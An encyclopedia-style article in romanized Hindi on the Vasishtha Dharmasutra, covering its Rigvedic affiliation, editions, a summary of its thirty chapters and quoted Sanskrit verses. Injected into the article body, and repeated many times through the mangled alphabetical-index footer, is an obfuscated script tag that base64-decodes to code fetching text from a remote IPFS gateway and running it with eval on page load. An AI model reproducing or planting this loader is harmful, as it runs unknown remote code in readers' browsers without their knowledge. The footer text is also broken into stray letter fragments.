वासिष्ठ धर्मसूत्र

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bhatt kumaril ne vasishth dharmasootr ka sambandh shragved se sthapit kiya hai.^[1] m. m. kane ne bhi isase sahamati vyakt ki hai, kintu unaki manyatanusar rrigvediyoan ne ise apane kalp ke poorak roop mean bad mean hi svikar kiya.^[2] dharmasootragat upanayan, anadhyay, snatak ke vratoan aur panchamahayajnoan se sambaddh prakaranoan ka shaankhayan grihyasootragat tadvishayak samagri se bahut sadrishy hai. ashvalayan grihyasootr ke bhi kuchh aanshoan se isaki samanata hai. inake atirikt paraskar grihyasootr ke katipay sootroan ka samy bhi isake sath parilakshit hota hai. dharmasootroan mean gautam dharmasootr ke sath isaka vishesh sambandh hai. gautam ke solahavean aur vasishth ke doosare adhyayoan mean aksharashah samy dikhalaee deta hai.

vasishth dharmasootr ki upalabdh pandulipiyoan aur prakashit sanskaranoan mean svaroopagat pushnkal vaibhinny hai. jivanand ke sanskaran mean lagabhag 21 adhyay haian tatha anandashram aur d aau. phyoohararh ke sanskaranoan mean 30 adhyay haian. isaki sanrachana prayah padyatmak hai. sootroan ka pariman bahut kam hai. bahusankhyak prachin vyakhyakaroan, yatha vishvaroop, medhatithi prabhriti ne vasishth dharmasootr ko atyant adarapoorvak uddhrit kiya hai. isamean pratipadit vishayoan ka vivaran is prakar haiah–
adhyay-1

dharm ka lakshan, aryavartt ki sima, pap ka vichar, tinoan vargoan ki striyoan ke sath brahman ke vivah ka vidhan, chhah prakar ke vivah, lokavyavahar par raja ka niyantran, upaj ke shashthaansh ki rajakar roopata.

adhyay-2

chaturvarny vichar, achary ka mahattv, daridrata ki sthiti mean ksha़tr aur vaishyavritti ke svikaran ki manyata, kusid (byaj lene) ki ninda.

adhyay-3

ajn brahman ki ninda, gupt dhan prapti ki vidhi, atmaraksha kean lie atatayi ke vadh ki anujna, panktipavani parishadh, achaman tatha shauchadi ke niyam, vibhinn dravyoan ki sanskar–vidhi.

adhyay-4

chaturvarnyavidhan, sanskaroan ka mahattv, atithi satkar, madhupark, janm aur mrityu vishayak ashauch.

adhyay-5

striyoan ki nirbharata aur rajasvala sthiti ke niyam.

adhyay-6

achar ki prashansa, veg, sanveg tatha malamootradi tyag ke lie niyam, brahman ki niti, shoodr ki visheshata, shoodr ke ghar mean khane ki ninada, vyavahar niyam tatha uttam santan ka niyam.

adhyay-7

chaturashram aur brahchari ke karttavy.

adhyay-8

grihasth ka dharm aur atithi–archa ki vidhi.

adhyay-9

aranyavasi tapasvi (vanaprasth) ke niyam.

adhyay-10

sannyasi ke niyam.

adhyay-11

svatantr samman ka adhikari, bhojan pariveshan ka kram, shraddh ke niyam aur kal, upanayan, agnihotr ke niyam, samay, dand, mekhala adi.

adhyay-12

snatak vyavahar ka vidhan.

adhyay-13

upakram (vedapath arambh) ke niyam, anadhyay ke niyam, abhivadan vidhi, abhivadan mean paurvapary vidhan, margagaman ke niyam.

adhyay-14

bhakshyabhakshy nirnay.

adhyay-15

poshyaputrajany niyam.

adhyay-16

nyay ki vyavastha, trividh pramanapatr, sakshi aur adhikar, zabardasti adhikar karane ka niyam, raja ke upadesh, sakshi hone ki yogyata, mithya niyam, sankalpakari ko kshama karane ki vidhi.

adhyay-17

auras putr ki prashansa, kshetraj putr ke vishay mean matabhed, 12 prakar ke putr, bhaiyoan ke madhy sampatti ka bantavara, vayask kanya ke vivah ka niyam, uttaradhikar–niyam.

adhyay-18

chandal jaisi pratilom jati, shoodr ke lie vedashravan aur vedadhyayan ka nishedh.

adhyay-19

raja ke karttavy, raksha aur dand.

adhyay-20

jnat athava ajnat roop mean krit pap ka prayashchitt.

adhyay-21

brahman stri ke sath vyabhichar karane tatha gau–hatya karane ka prayashchitt.

adhyay-22

abhakshy–bhakshan janit pap ka prayashchitt.

adhyay-23

brahmachari ke dvara maithun karane tatha surapan karane par prayashchitt.

adhyay-24

krichchhr aur atikrichchhr vrat.

adhyay-25

gupt tapasya aur laghu papoan ke lie vratacharan.

adhyay-26,27

pranayam ki upadeyata, vedamantr tatha gayatri ki upadeyata.

adhyay-28

striyoan ki prashansa, aghamarshan sookt aur dan ki prashansa.

adhyay-29

dan, brahchary aur tapasya ke suphal.

adhyay-30

saty, dharm aur brahmanoan ki stuti.

vishay–niroopan mean vaishishty

vasishth dharmasootr ne samanyatah sanskaroan ki ganana nahian ki hai, kintu upanayan aur vivah ka ullekh kiya hai. vivah ke prakaroan mean ath ke sthan par chhah ka hi vidhan hai. balapoorvak haran keval kshatriy kanya ka hi kiya ja sakata hai. sakshigat pramanoan ke sandarbh mean vasishth dharmasootr likhit, sakshi, bhukti (Possession) ko praman roop mean svikar karata hai. sakshi ko nirmal, shrotriy, anindit, charitravanh, satyanishth aur pavitr hona chahie. vasishth ne kuchh nishchit sthitiyoan mean niyogavidhi ko manyata di hai. mlechchh bhasha ke adhyayan ka isamean nishedh kiya gaya hai. bal–vidhava ke punarvivah ki isamean anujna di gee hai.

vasishth dharmasootr ne sadachar ko bahut mahattv diya hai. hinacharoan se grast vyakti ke lok aur paralok donoan hi nasht hote haian. sadachar rahit brahman ke lie ved, vedaang aur yajnanushthan usi prakar nirarthak haian jaise ki andhe ke lie patni ki sundarata –

acharah paramo dharmah sarveshamiti nishchayah.
hinachar paritatma prety cheh ch nashyati..
acharahinasy tu brahmanasy vedaah shadangastvakhilaah sayajnaah.
kaan pritimutpadayituan samartha andhasy dara iv darshaniyaah..

vasishth dharmasootr ne paunah punyen manushyoan ko dharmacharan aur saty–sanbhashan karane ki hi prerana di hai – usaka kathan hai ki are manushyoan! dharm ka palan karo, adharm se bacho. saty bolo, mithya se bacho. apani drishti ko vishal banao, kshudrata se bacho aur kisi ko bhi paraya n samajho.

dharm, charat maadharman satyan vadat maanritamh.
dirghan pashyat, ma hrasvan paran pashyat maaparamh..

vasishth dharmasootr par keval ek hi vyakhya prakashit huee hai, vah hai krishna pandit dharmadikari ki 'vidvanmodini'. yah banaras sanskaran mean mudrit hai. baudhayan dharmasootr ke vyakhyakar govind svami ne vasishth dharmasootr ke vyakhyakar ke roop mean yajnasvami ka ullekh kiya hai. sanh 1883 mean bambee se d aau. phyoohararh ke dvara sampadit–prakashit sanskaran ka pahale hi ullekh ho chuka hai. 1904 mean lahaur se isaka hindi anuvad sahit prakashan hua hai. anandashram se 'smritinaan samuchchayah' ke antargat 1905 mean yah dharmasootr prakashit hai. jivanand ke dvara sampadit 'smriti–sangrah' (dharmashastr sangrah) mean 20 adhyayatmak roop mean isaka prakashan hua hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

↑ tantravartik, prishth 179
↑ dharmashastr ka itihas, pratham bhag

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] tantravartik, prishth 179

[2] rmashastr ka itihas, pratham bhag

[1]

[2]

वासिष्ठ धर्मसूत्र

vishay–niroopan mean vaishishty

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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